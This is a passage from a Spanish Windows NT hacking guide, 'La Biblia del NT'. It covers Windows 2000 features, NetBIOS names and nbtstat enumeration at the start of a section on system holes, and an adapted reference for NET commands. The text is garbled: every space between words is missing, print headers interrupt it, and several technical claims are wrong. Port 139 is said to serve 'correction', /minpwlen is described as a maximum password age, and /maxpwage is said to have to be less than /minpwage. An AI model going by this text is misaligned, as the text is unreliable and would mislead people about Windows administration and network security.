file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

11/83

27/11/2014

LaBibliadelNT

decir,nodicemucho.EselnuevoserviciodedirectoriosparaW2K.Aquise
almacenalainformacionsobrelosrecursosdelaredyademasproveelos
serviciosquehacenquelatareadeadministracionsesimplifiquedemanera
notable.
EsteservicioestabasadoenDNS(DomainNameServer)yLDAP(Lightweight
DirectoryAccessPrococol).
DemomentosolosehaencontradounsolobugdelActiveDirectory
(octubredel2000),porloqueparecequeloschicosdeMSsehanmolestado
masquedecostumbreeneltemadelaseguridad.

[3.2DNSDinamico]

Estanuevacaracteristicalograqueacadamaquinaselereconozcanopor
sunombrenetbiossinoporsunombreDNS.
Esdecirlousarapararesolverotraducirnombresdeordenadoresa
direccionesIP.Tambienlousacomosuserviciodenombresdedominio.
Ventaja?puesqueseusaelnombreparalosdominiosdeinetytus
ordenadoresdeldominio.
Sinembargodedinamicopocovemosaqui,yesqueaunnoheexplicadoel
meollodelacuestion.Lodedinamicovienealacaracteristicadeasignar
alosordenadoresclientesconip'sasignadasautomaticamentelosservicios
DNS.deahilodedinamico.
Paraquiensepreguntesisevanasuprimirlosnombresnetbiosporesta
nuevacaracteristica,quesepaqueno.ComoyaescostumbreenNT,se
mantienenlacompatibilidadconfacetasanteriores(loquehaceaNTmas
debilconservandoaspectospocoseguros).

[3.3EstandarKerberos]

YaerahoradequeimplementasenKerberos,eraalgoquesepediadesde
hacetiempo,yporfinyalotenemos.Losu*xyagozabandelmodulode
seguridadKerberoshacetiempo.
Enlosentornosdered,losprogramasusanelprotocoloNTLM(NTLan
Manager)paraautentificarse,yparaprotegersusdatos.Ahoraestocambiara
yseusaraKerberos.
ElporquedelasustitucioneslasmejorasqueKerberosaportaaNTLM,
entrelasqueseencuentralaautentificacionmutua.Expliquemonos,lode
mutuavienedequenosoloelclientesetendraqueautentificaranteel
servidorsinotambienelservidoranteelcliente.Ladeshonraparalos
servidores,elrebajarseaautentificarsecaraunmerocliente).
QuienquieraentenderelfuncionamientodeKerberosqueconsulteel
apendice.

[3.4MejorasenelNTFS]

PuesentrelasnuevasmejorasalsistemadearchivosnativodeNTnos
encontramosconposibilidadescomoladea~adirespacioenunaparticion
NTFSsintenerquereiniciarlamaquina.Tambienofrecesoportepara
encriptarlosarchivos,poderlimitarelespaciodedisco,etc.

[3.5Demasmejoras]

Apartedeestasmejorasnosencontramosconmasherramientas
administrativas,entrelasquedestacarelservidordetelnet,demaneraque
yanohayquerecurriraherramientasdetercerosparahaceralgotanbasico
comoadministrarelserviciotelnet.
Ademasincorporaintellimirror,queesunconjuntodecaracteristicas
nativasdeW2Kparaadministrarlasconfiguraciones,loscambiosde
escritorio,yquenospuedeservirinclusoparainstalarremotamenteW2K.
Algoquemehallamadolaatencionesquepermiteademaseltrabajarcon
archivoscompartidos,demaneraquesitedesconectasdeunared,al
reconectarteadicharednopierdeslaspreferenciasqueteniasalestar
conectado.
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

12/83

27/11/2014

LaBibliadelNT

Tambiensoportalastarjetasinteligentes,tambienllamadassmartcards,
lascualespuedenpermitirentreotrascosasrealizarelprocesode
autentificacionporotrosfactoresdistintosaltipicologin/pass,en
principioaportandomasseguridad.
Ademasdeestopuedesencontrarquehaymascompatibilidadconlos
controladores,conelhardware,semejoraeldfs,etc.

[4Resumen]

AquisehavistoalgodelaarquitecturadeNT,loscomponentesdesu
modelodeseguridad,susnovedades,algodesufuncionamientoenred,entre
otrascosas.
Ahoraqueyasehanasimiladoalgunosconceptosesenciales,pasemosaver
comoestaelpanoramadelainseguridaddeNT.

ParteIIAgujerosdelsistema
===============================

AhoravamosaprofundizarenlosagujerosdeseguridadmascomunesdeNT.
Asimismorepasaremoslosconceptosqueestenrelacionadosconestosagujeros
conelfindecomprenderlosmejor.

[5IntroduccionaNetBIOS]

NetBIOSesunaInterfazdeprogramaciondeaplicaciones(oAPI)quelos
programasenunaredlocallopuedenutilizar.NetBIOSproporcionaalos
programasunconjuntouniformedecomandosparasolicitarlosserviciosde
bajonivelnecesariosparaadministrarnombres,dirigirsesionesyenviar
datagramasentrelosnodosdeunared.
Normalmenteesusadoenredeslocalespeque~as,de200maquinascliente
paraabajo.
Estepuedeserusadoencasitodoslossistemasoperativosdered,y
pudiendosertransportadosobrebastantesprotocolosdered.

[5.1HistoriadeNetBIOS]

NetBIOSsonlassiglasdeNetworkBasicInput/OutputSystem,yse
desarrolloporIBMySystek,loscualeslocrearonconelfindepoder
subministraralosprogramasdeunainterfazquepudieraaccederalos
recursosdelasredeslocales.
EnpocotiempoNetBIOSseasentocomounestandarparaaccederatodo
tipoderedes,graciasentreotrascosasaqueeratansolounainterfaz
entrelasaplicacionesylatarjetaethernet,conlocualeraindependiente
delhardwarequeseusara.
MastardesalioalaluzNetbeui,unprotocolodereddeMicrosoft,que
esNetBIOSperobastantemejorado,a~adiendounacapadetransporteno
estandarizadaenNetBIOS.

[5.2ConceptossobreNetBIOS]

AntesdeseguirveremosalgomassobreNetBIOSquenosayudaraa
entenderlomas.
PrimeroveamoslosnombresNetBIOS:

NombresNetBIOS

LosllamadosNombresNetBIOSseusanparaidentificarlosdistintos
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

13/83

27/11/2014

LaBibliadelNT

recursosenlared.Graciasaestosnombreslosequipospuedencomunicarse
utilizandodatagramasdeNetBIOSyestablecersesionesentreellos.
Estosnombresdebentenerunalongitudmaximade16caracteres
alfanumericos,cuyoprimercaracternopuedeser'*'.
Paraqueunequiposequieraregistrarenlared,debemandarunmensaje
broadcastenelqueindiquesunombreNetBIOSparapoderseridentificado
porlosotrosequipos.Aquipuedensucederdoscosas,unaqueelnombreno
esteusado,porlocualelequiposeregistrariasatisfactoriamentelaotra
queelnombreporelqueseidentificayaestasiendousado,porloqueel
intentoderegistrotermina,teniendoqueidentificarseelequipoporotro
nombre.
Haydostiposdenombres,losnombresunicos(unique)ylosdegrupos
(group).Losnombresunicoscomosunombreindicasellevanindividualmente
porunequipo,elcuallerepresenta_soloael_.Losnombresdegrupo
representanaungrupoporloquesepuedenrepetirypuederepetirsevarias
vecesenlared.
Estosnombrespuedentenerunalongitudde16caracteres,sinembargo
son15caractereslosqueidentificananuestroequipo,yelcaracternumero
16esusadoporlosserviciosdereddeMicrosoftcomounsufijoparapoder
identificareltipodeservicioqueofrece.
CadanododeNetBIOSmantieneunatablaconinformaciondetodoslos
nombresqueseestanusandoenelnodo.
AcontinuacionunaaproximaciondeloqueseriaunatabladeNetBIOS,que
muestralossufijosqueseutilizanenNT:

NombreSufijoTipoServicio

<nombre_del_ordenador>00UWorkstationService
<nombre_del_ordenador>01UMessengerService
<\\_MSBROWSE_>01GMasterBrowser
<nombre_del_ordenador>03UMessengerService
<nombre_del_ordenador>06URASServerService
<nombre_del_ordenador>1FUNetDDEService
<nombre_del_ordenador>20UFileServerService
<nombre_del_ordenador>21URASClientService
<nombre_del_ordenador>22UExchangeInterchange
<nombre_del_ordenador>23UExchangeStore
<nombre_del_ordenador>24UExchangeDirectory
<nombre_del_ordenador>30UModemSharingServerService
<nombre_del_ordenador>31UModemSharingClientService
<nombre_del_ordenador>43USMSClientRemoteControl
<nombre_del_ordenador>44USMSAdminRemoteControlTool
<nombre_del_ordenador>45USMSClientRemoteChat
<nombre_del_ordenador>46USMSClientRemoteTransfer
<nombre_del_ordenador>4CUDECPathworksTCPIPService
<nombre_del_ordenador>52UDECPathworksTCPIPService
<nombre_del_ordenador>87UExchangeMTA
<nombre_del_ordenador>6AUExchangeIMC
<nombre_del_ordenador>BEUNetworkMonitorAgent
<nombre_del_ordenador>BFUNetworkMonitorApps
<nombre_del_usuario>03UMessengerService
<dominio>00GDomainName
<dominio>1BUDomainMasterBrowser
<dominio>1CGDomainControllers
<dominio>1DUMasterBrowser
<dominio>1EGBrowserServiceElections
<INetServicios>1CGInternetInformationServer
<ISnombre_de_ordenador>00UInternetInformationServer

HeaquilatipicatabladenombresNetBIOS,delacualpasoaexplicar
cadaelemento:

Elapartado"nombre"supongoquequedaclaro,elnombredel/losequipo/s
encuestion,notienemas.
Elapartadosufijosinecesitamayorexplicacion.Estossufijos
(expresadosenhexadecimal)representandiversosservicios,veamosque
representaque:

TipoUnique
<00>Nombredelserviciodelaestaciondetrabajo,eselnombrequese
refierealnombreNetBIOS.
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

14/83

27/11/2014

LaBibliadelNT

<03>Nombredelserviciodemensajeria.Seusacuandoenviamoso
recibimosmensajes.
<06>ServiciodeservidorRAS.
<1B>Nombredeldominioprincipal.Esteidentificaalprimercontrolador
dedominio.
<1F>ServicioNetDDE.
<20>ClienteRAS.
<BE>Monitordeagentedered.
<BF>Utilidaddemonitordered.

TipoGroup

<1C>Nombredelgrupodedominio.Estecontienelalistadedirecciones
delosequiposqueestanregistradoseneldominio.
<1D>NombredelMasterBrowser.
<1E>Nombredeungruponormal.
<20>NombredeungrupodeInternet,confinesadministrativos.Supongo
quemasdeunavezhabreisbuscadogruposdeestetipo:>.

Ahoraveamoselapartado"tipo",querepresentaeltipodegrupo.Hay5
tiposdegrupos,veamoscuales:

Unique(U):Representaaunequipo,elcualdebetenernomasdeunaIP
asignada.
Group(G):Representaaungrupodeequipos,porlotantodebeexistir
conmasdeunadireccionIP.
Multihomed(M):Elnombredeequipoesdetipounico(unique),sin
embargoaltenervariastarjetasethernetenelmismo
equiposelepermiteregistrar.Puedetenerhasta25
direccionesIP.
InternetGroup(I):Configuraciondeungrupoparapodergestionarlos
nombresdedominiodewinnt.
DomainName(D):Nombredeldominio.SolodisponibleenversionesNT4o
superior.

Yelapartado"servicio"defineelservicioporloquenorequieremayor
explicacion.
Paraverunatablacomolaquehemosvistoenlaqueseveanlosnombres
registrados,oinformacionsobreunnombreregistradoenungrupooservidor
dered,escribelosiguiente:
nbtstatA(direccionIP)
obien
nbtstata(nombredelhost)
MasadelanterevisaremoselcomandoNbtstatenprofundidad.

FuncionamientodeNetBIOS

AhoraqueyahemosvistolomasesencialsobreNetBIOSnoestademasque
veamosdetalladamentesufuncionamiento.
Cuandoseestableceunaconexionconunequiposeiniciaunasesion,que
permitemandarmensajeslargosycorregirloserrores(aligualqueel
TCP/IP).
NetBIOSpermitecomunicacionesorientadasaconexion(detipoTCP)ono
orientadasaconexionyporlotantonoasegurandoqueelpaquetelleguea
sudestino(detipoUDP).
NetBIOSposeetrestiposdeserviciodiferente:Eldedatagramas,elde
nombreyeldesesion.
Elserviciodedatagramastieneasignadoelpuerto138,mientrasqueel
serviciodenombresocupael137.Elserviciodesesionnoocupapuerto
alguno,mientrasqueelpuerto139esusadoparalacorreccion.

[5.3ComandosNET]

Elconocerestoscomandosessumamenteimportanteparamovernoscon
solturadentrodelsistemaysabercomohacerdistintasoperacionesdered.
Lainformacionqueaquipongolaheadaptadoaleditdeldos,yesta
extraidadelaayudaincorporadadeWindows2000.
Seriarecomendablequelacopiaraisylapusieraisenalgunladodondeos
fuerafacilecharleunvistazoencasodenoacordarsedeuncomando,etc.
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

15/83

27/11/2014

LaBibliadelNT

>NetAccounts:
Actualizalabasededatosdecuentasdeusuarioymodificalos
requisitosdecontrase~aeiniciodesesionparatodaslascuentas.El
servicioiniciodesesiondereddebeestarenejecucionenelequipo
paraelquedeseecambiarlosparametrosdecuenta.
netaccounts[/forcelogoff:{minutos|no}][/minpwlen:longitud]
[/maxpwage:{dias|unlimited}][/minpwage:dias]
[/uniquepw:numero][/domain]
netaccounts[/sync][/domain]

Parametros

ninguno
Escribanetaccountssinparametrosparapresentarenpantallalas
configuracionesactualesdecontrase~a,limitacionesdeiniciode
sesioneinformaciondedominio.
/forcelogoff:{minutos|no}
Estableceelnumerodeminutosquetranscurriranantesdequesede
porfinalizadaunasesiondeusuarioenunservidortrasel
vencimientodelacuentadeusuariooeltiempovalidodeiniciode
sesion.Conlaopcionnoseimpidequeseproduzcauncierredesesion
forzado.Elvalorpredeterminadoesno.
Cuandoseespecificalaopcion/forcelogoff:minutos,WindowsNTenvia
unaadvertenciaminutosantesdeforzarlasalidadelusuariodela
red.Sihayalgunarchivoabierto,WindowsNTadviertealusuario.Si
minutosesmenorquedos,WindowsNTindicaalusuarioquecierrela
sesionderedinmediatamente.
/minpwlen:longitud
Estableceelnumeromaximodediasdevalidezdelacontrase~adeuna
cuentadeusuario.Losvaloresvalidososcilanentrelos0y14
caractereselvalorpredeterminadoesde6caracteres.
/maxpwage:{dias|unlimited}
Estableceelnumeromaximodediasdevalidezdelacontrase~adeuna
cuentadeusuario.Elvalorunlimitedestableceuntiempoilimitado.
Laopcion/maxpwagedebesermenorque/minpwage.Losvaloresvalidos
oscilanentre1y49710dias(unlimited)elvalorpredeterminadoes
de90dias.
/minpwage:dias
Estableceelnumerominimodediasquehandetranscurrirantesdeque
unusuariopuedacambiarunacontrase~anueva.Unvalor0significa
quenohaytiempominimo.Losvaloresvalidososcilanentre0y49710
diaselvalorpredeterminadoesde0dias.
/uniquepw:numero
Impidequeelusuariorepitalamismacontrase~adurantenumero
cambiosdecontrase~a.Losvaloresvalidososcilanentre0y8cambios
decontrase~aelvalorpredeterminadoesde5cambios.
/domain
Realizalaoperacionsobreelcontroladorprincipaldeldemonio
actual.Sinoseespecificaesteparametro,laoperacionserealizara
enelequipolocal.
EsteparametroseaplicaunicamenteaequiposconWindowsNT
WorkstationquesonmiembrosdeundominiodeWindowsNTServer.De
manerapredeterminada,losequiposconWindowsNTServerrealizanlas
operacionessobreelcontroladorprincipaldeldominio.
/sync
Cuandoseutilizaenelcontroladorprincipaldedominio,causala
sincronizaciondetodosloscontroladoresdereservadedichodominio.
Cuandoseutilizaenuncontroladordereserva,causala
sincronizaciondeesecontroladordereservaconelcontrolador
principaldedominiounicamente.Estecomandosoloseaplicaalos
equiposquesonmiembrosdeundominiodeWindowsNTServer.

Ejemplos

Paramostrarlaconfiguracionactualparaelcierreforzadodesesion,
losrequisitosdecontrase~aylafunciondeunservidordeterminado,
escriba:
netaccounts
Paraestablecerunminimodesietecaracteresparalascontrase~asdela
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

16/83

27/11/2014

LaBibliadelNT

cuentadeusuario,escriba:
netaccounts/minpwlen:7
Paraespecificarqueunacontrase~anopuedarepetirsehastapasados
cincocambios,escriba:
netaccounts/uniquepw:5
Paraevitarquelosusuarioscambienlacontrase~aconunafrecuencia
mayorque7dias,paraforzarelcambiodecontrase~acada30diasy
paraforzarelcierredesesiontraselvencimientodeltiempodeinicio
desesionyemitirunaadvertencia5minutosdelcierreforzado,
escriba:
netaccounts/minpwage:7/maxpwage:30/forcelogoff:5
PararealizarlatareaanteriorenunequipoconWindowsNTWorksationy
asegurarsedequelaconfiguracionesefectivaeneldominiodeWindows
NTserverenelqueelequipohainiciadolasesion,escriba:
netaccounts/minpwage:7/maxpwage:30/domain
Paraactualizarlabasededatosdecuentasdeusuariodetodoslos
servidoresmiembros,escriba:
netaccounts/sync

>NetComputer:
Agregaoeliminaequiposdeunabasededatosdedominios.Estecomando
estadisponiblesoloenlosequiposconWindowsNTServer.
netcomputer\\equipo{/add|/del}

Parametros

\\equipo
Especificaelequipoqueseagregaoeliminadeldominio.
/add
Agregaelequipoespecificadoaldominio.
/del
Quitaelequipoespecificadodeldominio.

Notas

EstecomandoestadisponiblesoloenlosequiposconWindowsNTServer.
Todaslasadicionesyeliminacionesdeequiposseredirigenal
controladorprincipaldedominio.

Ejemplo

ParaagregarelequipoARCOIRISaldominio,escriba:
netcomputer\\arcoiris/add

>NetConfig:
Muestralosserviciosconfigurablesqueestanenejecucion,omuestray
modificalaconfiguraciondeunservicio.
netconfig[servicio[opciones]]

Parametros

ninguno
Escribanetconfigsinparametrosparaverunalistadelosservicios
configurables.
servicio
Esunservicio(serveroworkstation)quepuedeconfigurarseconel
comandonetconfig.
opciones
Sonespecificasdelservicio.Veanetconfigserveronetconfig
workstationparaobtenerlasintaxiscompleta.
Useelcomandonetconfigservicioparacambiarparametrosconfigurables
delservicioServidoroEstaciondetrabajo.Loscambiosentranen
vigorinmediatamenteysonpermanentes.

>NetConfigServer:
MuestraocambialaconfiguracionparaelservicioServidormientras
dichoservicioestaenejecucion.
netconfigserver[/autodisconnect:tiempo][/srvcomment:"texto"]
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

17/83

27/11/2014

LaBibliadelNT

[/hidden:{yes|no}]

Parametros

ninguno
Escribanetconfigserverparaverlaconfiguracionactualdel
servicioservidor.
/autodisconnect:tiempo
Estableceelnumeromaximodeminutosqueunasesiondeusuariopuede
permanecerinactivaantesdequesedesconecte.Puedeespecificar1
paraquenuncaseproduzcadichadesconexion.Losvaloresvalidos
oscilanentre1y65545minutoselvalorpredeterminadoes15.
/srvcomment:"texto"
Agregauncomentarioparaelservidorquesemuestraenlaspantallas
deWindowsNTyconelcomandonetview.Elcomentariopuedetenerun
maximode48caracteres.Escribaeltextoentrecomillas.
/hidden:{yes|no}
Especificasielnombredeequipodelservidordebeapareceral
presentarlalistadeservidores.Tengaencuentaqueelhechode
ocultarunservidornomodificalospermisosdefinidosenel.El
valorpredeterminadoesno.

Ejemplos

Paramostrarinformacionacercadelservidorlocaleimpedirquela
pantallasedesplace,escriba:
netconfigserver|more
Paraocultarelnombredelequipodelservidorenlalistade
servidoresdisponibles,escriba:
netconfigserver/hidden:yes
Paradesconectaraunusuariodespuesde15minutosdeinactividad,
escriba:
netconfigserver/autodisconnect:15

Notas

Utiliceelcomandonetconfigserverparacambiarparametros
configurablesdelservicioServidor.Loscambiosentranenvigor
inmediatamenteysonpermanentes.
Notodoslosparametrosdelservicioservidorpuedencambiarse
utilizandoelcomandonetconfigserver,peroelcomandopresenta
informacionadicional.Elcomandopresentalasiguienteinformacion
acercadelservidor:
1.Elnombredeequipodelservidor,uncomentariodescriptivoyla
versiondelsoftware.
2.Ladescripciondelared.
3.Laconfiguraciondeocultarelservidor.
4.Elnumeromaximodeusuariosquepuedenutilizarlosrecursos
compartidosdelservidor.
5.Elnumeromaximodearchivosdelservidorquepuedenestar
abiertos.
6.Laconfiguraciondeltiempodeinactividaddelasesion.

>NetConfigServer:
MuestraocambialaconfiguraciondelservicioEstaciondetrabajo
mientrasestaenejecucion.
netconfigworkstation[/charcount:bytes][/chartime:ms][/charwait:s]

Parametros

ninguno
Escribanetconfigworkstationparamostrarlaconfiguracionactual
delequipolocal.
/charcount:bytes
EspecificalacantidaddedatosquerecopilaWindowsNTantesde
enciarlosaundispositivodecomunicaciones.Siseestablecetambien
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

18/83

27/11/2014

LaBibliadelNT

/chartime:ms,WindowsNTactuasegunlacondicionquesesatisfaga
primero.Losvaloresvalidososcilanentre0y65.535byteselvalor
predeterminadoesde16bytes.
/chartime:ms
EstableceelnumerodemilisegundosduranteloscualesWindowsNT
recopiladatosantesdeenviarlosaundispositivodecomunicaciones.
Siseestablecetambien/charcount:bytes,WindowsNTactuasegunla
condicionquesesatisfagaprimero.Losvaloresvalidososcilanentre
0y65.535.000milisegundoselvalorpredeterminadoesde250
milisegundos.
/charwait:seg
EstableceelnumerodesegundosqueesperaraWindowsNTaqueun
dispositivodecomunicacionesestedisponible.Losvaloresvalidos
oscilanentre0y65.535segundoselvalorpredeterminadoesde3.600
segundos.

Ejemplos

Parapresentarenpantallalaconfiguracionactualdelservicio
Estaciondetrabajo,escriba:
netconfigworkstation
ParaestableceselnumerodemilisegundosqueWindowsNTesperaantes
deenviarlosdatosaundispositivodecomunicaciona500
milisegundos,escriba:
netconfigworkstation/chartime:500

Notas

Useelcomandonetconfigworkstationparacambiarparametros
configurablesdelservicioEstaciondetrabajo.Loscambiosentranen
vigorinmediatamenteysonpermanentes.
NotodoslosparametrosdelservicioEstaciondetrabajopueden
cambiarseconelcomandonetconfigworkstation.Otrosparametros
puedencambiarseenelregistrodeconfiguracion.

>NetContinue:
Vuelveaactivarunserviciointerrumpido.
netcontinueservicio

Parametros

servicio
Losserviciosquepuedenreanudarsesonlossiguientes:servidorde
archivosparamacintosh(soloparaWindowsNTServer),serviciode
publicaciondeFTP,lpdsvc,iniciodesesiondered,ddedered,dsdm
ddedered,proveedordeseguridadntlm,inicioremoto(solopara
WindowsNTServer),servidordeaccesoremoto,shedule,servidor,
serviciossimplesdetcp/ipyestaciondetrabajo.

Notas

Esunservidoryenuncliente:
Useelcomandonetcontinueparavolveraactivarunservicio
interrumpido.Interrumpaelservicioantesdedetenerloparapermitir
quelosusuariosfinalicensustrabajososedesconectendelos
recursos.Paraefectuarunacorreccionpocoimportanteenunrecurso,
quizaseasuficienteconefectuarunapausaenelservicioola
impresora.Usedespueselcomandonetcontinueparaactivardenuevo
dichoserviciooimpresora,sinnecesidaddecancelarlasconexiones
delosusuarios.
Enuncliente:
Useloscomandosnetpauseynetcontinueparapasardelasimpresoras
delaredaimpresoraconectadaasuequipo.

>NetFile:
Muestralosnombresdetodoslosarchivoscompartidosabiertosenun
servidoryelnumerodebloqueosdearchivo(siexistealguno)encada
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

19/83

27/11/2014

LaBibliadelNT

unodeellos.Estecomandotambiencierraarchivoscompartidos
individualesyquitabloqueosdearchivo.
netfile[id[/close]]

Parametros

ninguno
Escribanetfilesinparametrosparaobtenerunalistadelos
archivosabiertosenunservidor.
id
Eselnumerodeidentificaciondelarchivo.
/close
Cierraunarchivoabiertoyliberalosregistrosbloqueados.Escriba
estecomandodesdeelservidorenelquesecomparteelarchivo.

Ejemplos

Paraverunapantalladeinformacionacercadelosarchivos
compartidos,escriba:
netfile
Paracerrarunarchivoconelnumerodeidentificacion1,escriba:
netfile1/close

Notas

Estecomandotambienpuedeescribirsecomonetfiles.
Useelcomandonetfileparaverycontrolararchivoscompartidosenla
redque,enocasiones,sedejanabiertosybloqueadosporerror.Cuando
estosucede,esimposibleteneraccesoalaspartesbloqueadasdeun
archivodesdeotrosequiposdelared.Uselaopcion/closedelcomando
netfileparaquitarelbloqueoycerrarelarchivo.
Lapantallaquemuestraelcomandonetfileessimilaralasiguiente:
ArchivoRutadeaccesoNombredeusuarioBloqueos

0C:\ARCH_A.TXTMARISAF0
1C:\BASEDATOSDAVIDSA2

>NetGroup:
Agrega,muestraomodificagruposglobalesendominiosdeWindowsNT
Server.EstecomandosoloestadisponibleenlosdominiosdeWindowsNT
Server.
netgroup[nombre_grupo[/comment:"texto"]][/domain]
netgroupnombre_grupo{/add[/comment:"texto"]|/delete}[/domain]
netgroupnombre_gruponombre_usuario[...]{/add|/delete}[/domain]

Parametros

ninguno
Escribanetgroupsinparametrosparamostrarelnombredeun
servidorylosnombresdelosgruposdedichoservidor.
nombre_grupo
Eselnombredelgrupoquevaaagregarse,expandirseoeliminarse.
Especifiqueunnombredegrupoparaverlalistadelosusuarios
correspondientes.
/comment:"texto"
Agregauncomentarioparaungruponuevooexistente.Dicho
comentariopuedetenerhasta48caracteres.Escribaeltextoentre
comillas.
/domain
Realizalaoperacionsobreelcontroladorprincipaldeldominio
actual.Sinoseespecificaesteparametro,laoperacionserealizara
enelequipolocal.
EsteparametroseaplicaunicamenteaequiposconWindowsNT
WorkstationquesonmiembrosdeundominiodeWindowsNTServer.De
manerapredeterminada,losequiposconWindowsNTServerrealizanlas
operacionesenelcontroladorprincipaldeldominio.
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

20/83

27/11/2014

LaBibliadelNT

nombre_usuario[...]
Muestralalistadeunoomasusuariosqueseagregaranoquitaran
deungrupo.Separelosnombresdeusuarioconunespacioenblanco.
/add
Agregaungrupoounnombredeusuarioaungrupo.Debeestablecerse
unacuentaparalosusuariosagregadosaungrupoconestecomando.
/delete
Quitaungrupoounnombredeusuariodeungrupo.

Ejemplos

Paraverunalistadetodoslosgruposenelservidorlocal,escriba:
netgroup
Paraagregarungrupollamadoejecalabasededatoslocaldecuentas
deusuario,escriba:
netgroupejec/add
Paraagregarungrupollamadoejecalabasededatosdecuentasde
usuariodeundominiodeWindowsNTServerdesdeunequipoconel
softwareWindowsNTWorkstationinstalado,escriba:
netgroupejec/add/domain
Paraagregarlascuentasdeusuarioyaexistentesesterv,rafary
jesustalgrupoejecenelequipolocal,escriba:
netgroupejecestervrafarjesust/add
Paraagregarlascuentasdeusuarioyaexistentesesterv,rafary
jesustalgrupoejecdeundominiodeWindowsNTServerdesdeun
equipoconelsoftwareWindowsNTWorkstationinstalado,escriba:
netgroupejecestervrafarjesust/add/domain
Paramostrarlosusuariosdelgrupoejec,escriba:
netgroupejec
Paraagregaruncomentarioalregistrodelgrupoejec,escriba:
netgroupejec/comment:"Plantilladeejecutivos."
Estecomandopuedeescribirsetambiencomonetgroups.
Useelcomandonetgroupparaagruparusuariosquetrabajandeunmodo
igualosimilarenlared.Cuandoseasignenderechosaungrupo,cada
miembrorecibiraautomaticamenteestosderechos.
Lapantallaquemuestralosgruposdelservidoressimilarala
siguiente:
Cuentasdelgrupode\\PRODUCCION

*Admins.deldominio*Usuariosdeldominio
Observequelosnombresdegruposvanprecedidosporunasterisco(*),
quesirveparaidentificarlosgruposqueincluyenusuariosygrupos.

>NetHelp:
Proporcionaunalistadecomandosderedytemassobrelosquepuede
obtenerayuda,oproporcionarayudaacercadeuncomandootema
especifico.Loscomandosdereddisponiblestambiensemuestranenla
ventanaComandosdeestareferenciadecomandos,bajolaletraN.
nethelp[comando]
netcomando{/help|/?}

Parametros

ninguno
Escribanethelpsinparametrosparamostrarunalistadecomandosy
temasacercadeloscualespuedeobtenerseayuda.
comando
Eselcomandoacercadelcualdeseaobtenerseayuda.Noescribanet
comopartedelcomando.
/help
Proporcionaunaformaalternativademostrarenpantallaeltextode
ayuda.
/?
Muestralasintaxiscorrectadelcomando.

Ejemplos

Paraobtenerlamismainformacionacercadelcomandonetuse,
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

21/83

27/11/2014

LaBibliadelNT

utilizandodosformasdelcomandonethelp,escriba:
nethelpuse
obien
netuse/help
Paraverlasintaxisdelcomandonetuse,escriba:
netuse/?

>NetHelpmsg:
ProporcionaayudareferenteaunmensajedeerrordeWindowsNT.
nethelpmsgmensaje_n

Parametros

mensaje_n
EselnumerodecuatrodigitosdelmensajedeWindowsNTacercadel
cualnecesitaayuda.

Notas

Cuandofallaunaoperaciondered,semuestraunmensajesimilaral
siguiente:
NET21282:Elserviciosolicitadoyahasidoiniciado.
Elcomandonethelpmsgexplicalacausadeunerroreindicacomo
resolverelproblema.

>NetLocalgroup:
Agrega,muestraomodificagruposlocales.
netlocalgroup[nombre_grupo[/comment:"texto"]][/domain]
netlocalgroupnombre_grupo{/add[/comment:"texto"]|/delete}
[/domain]
netlocalgroupnombre_gruponombre[...]{/add|/delete}[/domain]

Parametros

niguno
Escribanetlocalgroupsinparametrosparamostrarelnombredel
servidorylosnombresdelosgruposlocalesdedichoequipo.
nombre_grupo
Eselnombredelgrupoquevaaagregarse,expandirseoeliminarse.
Proporcionesolounnombre_grupoparaverunalistadelosusuarioso
gruposglobalesdeungrupolocal.
/comment:"texto"
Agregauncomentarioparaungruponuevoexistente.Elcomentario
puedetenerhasta48caracteresdelongitud.Escribaeltextodeseado
entrecomillas.
/domain
Realizalaoperacionenelcontroladorprincipaldeldominioactual.
Sinoseespecificaesteparametro,laoperacionserealizaraenel
equipolocal.
EsteparametroseaplicaunicamenteaequiposconWindowsNT
WorkstationquesonmiembrosdeundominiodeWindowsNTServer.Si
noseindicalocontrario,losequiposconWindowsNTServer
realizaranlasoperacionesenelcontroladorprincipaldeldominio.
nombre[...]
Muestralalistadeunoomasnombresdeusuarioodegrupoquese
agregaranaungrupolocalosequitarandeel.Separecadanombre
conunespacioenblanco.Losnombrespuedenserusuarioslocales,
usuariosdeotrosdominiosogruposglobales,peronootrosgrupos
locales.Siunusuarioesdeotrodominio,escribaelnombrede
usuariodespuesdelnombrededominio(porejemplo,VENTAS\SAMUEL).
/add
Agregaunnombredegrupoodeusuarioaungrupolocal.Debe
establecerseunacuentaparalosusuariosogruposglobalesquese
agreguenaungrupolocalconestecomando.
/delete
Quitaunnombredegrupoodeusuariodeungrupolocal.

file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

22/83

27/11/2014

LaBibliadelNT

Useelcomandonetlocalgroupparaagruparusuariosqueutilizandeun
modoigualosimilarelequipoolared.Cuandoseasignenderechosa
ungrupolocal,cadamiembrodedichogruporecibiraautomaticamente
estosderechos.

Ejemplos

Paramostrarunalistadetodoslosgruposlocalesdelservidorlocal,
escriba:
netlocalgroup
Paraagregarungrupolocalllamadoejecalabasededatoslocalde
cuentasdeusuario,escriba:
netlocalgroupejec/add
Paraagregarungrupolocalllamadoejecalabasededatosdecuentas
deusuariodeundominiodeWindowsNTServer,escriba:
netlocalgroupejec/add/domain
Paraagregarlascuentasdeusuarioyaexistentesesterv,rafar(del
dominioVENTAS)yjesustalgrupolocalejecenelequipolocal,
escriba:
netlocalgroupejecestervventas\rafarjesust/add
Paraagregarlascuentasdeusuarioyaexistentesesterv,rafary
jesustalgrupoejecdeundominiodeWindowsNTServer,escriba:
netlocalgroupejecestervrafarjesust/add/domain
Paramostrarlosusuariosdelgrupolocalejec,escriba:
netlocalgroupejec
Paraagregaruncomentarioalregistrodelgrupolocalejec,escriba:
